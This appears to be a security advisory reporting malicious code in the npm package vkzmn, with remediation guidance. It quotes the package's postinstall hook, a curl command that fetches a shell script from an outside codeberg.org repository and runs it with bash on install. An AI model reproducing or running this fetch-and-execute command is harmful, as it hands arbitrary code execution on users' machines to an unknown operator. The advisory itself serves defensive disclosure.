MAL-2026-6594
Malicious code in vkzmn (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (af074062a138c9e2bd27eca2a2de361f5858b524572027b0c7b9d259e6159abc) package.json declares a postinstall lifecycle hook that runs `curl https://codeberg.org/atilalogical/worm_teste/raw/branch/main/down_procwork.sh -o d.sh; bash d.sh`, auto-fetching a shell script from a mutable branch on a third-party codeberg.org account unrelated to the package publisher and piping it to bash on every `npm install`. The fetch is unpinned, unverified (no hash/signature), and the repository slug (`worm_teste`) and the package's empty metadata (no real description, author, or keywords; the package even lists itself as a dependency) indicate a throwaway dropper rather than a legitimate library. Installing this package gives the operator of the codeberg.org repository arbitrary code execution on the installer's machine.
## Source: ghsa-malware (a41dc023cd84c69935ac2c642d6cb9c187fb6bce9c18d226d785fba49e80e50a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Are you affected?
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Affected packages
0 No fixed version published yet for vkzmn (npm). Pin to a known-safe version or switch to an alternative.